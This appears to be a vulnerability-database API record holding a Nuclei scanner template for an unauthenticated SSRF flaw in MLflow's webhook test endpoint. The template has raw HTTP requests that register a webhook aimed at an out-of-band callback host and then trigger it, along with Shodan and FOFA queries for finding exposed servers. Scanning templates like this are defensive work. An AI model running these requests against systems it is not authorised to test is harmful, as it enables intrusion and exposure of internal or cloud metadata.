{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2026-64849/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2026-64849/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2026-64849/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2026-64849/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2026-64849/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2026-64849"},"sightings":{"href":"/api/v1/sightings/cve-2026-64849"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2026/CVE-2026-64849.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2026-64849\n\ninfo:\n  name: MLflow Webhook SSRF - Unauthenticated Full-Read via Redirect Bypass\n  author: DhiyaneshDk\n  severity: critical\n  description: |\n    MLflow > 3.15.0 contains an information disclosure vulnerability caused by improper validation of webhook URLs allowing attackers to reach internal or cloud metadata services and obtain response details, exploit requires unauthenticated access to the webhook test endpoint.\n  impact: |\n    Attackers can access internal or cloud metadata services and retrieve response status and body, potentially exposing sensitive information.\n  remediation: |\n    Upgrade MLflow to a version containing PR #24258 which adds SSRFProtectedHTTPAdapter for connection-time IP validation covering redirect targets and DNS rebinding.\n  reference:\n    - https://github.com/mlflow/mlflow/security/advisories/GHSA-7gwp-5pfp-969j\n    - https://github.com/mlflow/mlflow/pull/24258\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N\n    cvss-score: 9.3\n    cve-id: CVE-2026-64849\n    epss-score: 0.1641\n    epss-percentile: 0.96834\n    cwe-id: CWE-918\n  metadata:\n    max-request: 3\n    verified: true\n    shodan-query: http.title:\"MLflow\"\n    fofa-query: title=\"MLflow\"\n  tags: cve,cve2026,mlflow,ssrf,oast,webhook,oss,vkev,kev\n\nvariables:\n  random: \"{{rand_text_alpha(8)}}\"\n\nhttp:\n  - raw:\n      - |\n        POST /api/2.0/mlflow/webhooks HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"name\":\"{{random}}\",\"url\":\"https://{{interactsh-url}}\",\"events\":[{\"entity\":\"REGISTERED_MODEL\",\"action\":\"CREATED\"}]}\n\n      - |\n        POST /api/2.0/mlflow/webhooks/{{webhook_id}}/test HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"webhook_id\":\"{{webhook_id}}\",\"event\":{\"entity\":\"REGISTERED_MODEL\",\"action\":\"CREATED\"}}\n\n      - |\n        DELETE /api/2.0/mlflow/webhooks/{{webhook_id}} HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body_1\n        words:\n          - \"webhook_id\"\n          - \"ACTIVE\"\n        condition: and\n\n      - type: word\n        part: interactsh_protocol\n        words:\n          - \"http\"\n\n    extractors:\n      - type: regex\n        name: webhook_id\n        part: body\n        internal: true\n        regex:\n          - '\"webhook_id\":\\s*\"([^\"]+)\"'\n        group: 1\n# digest: 4b0a00483046022100a54ac9b4ec038969d2ceb7b47d0f34ff14e56e0551d9096a9cfa4b1b4c0616de022100f44f270657767c57415118691a024095dde27e164d9e6f82bfa52a876caca7e2:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2026-64849"}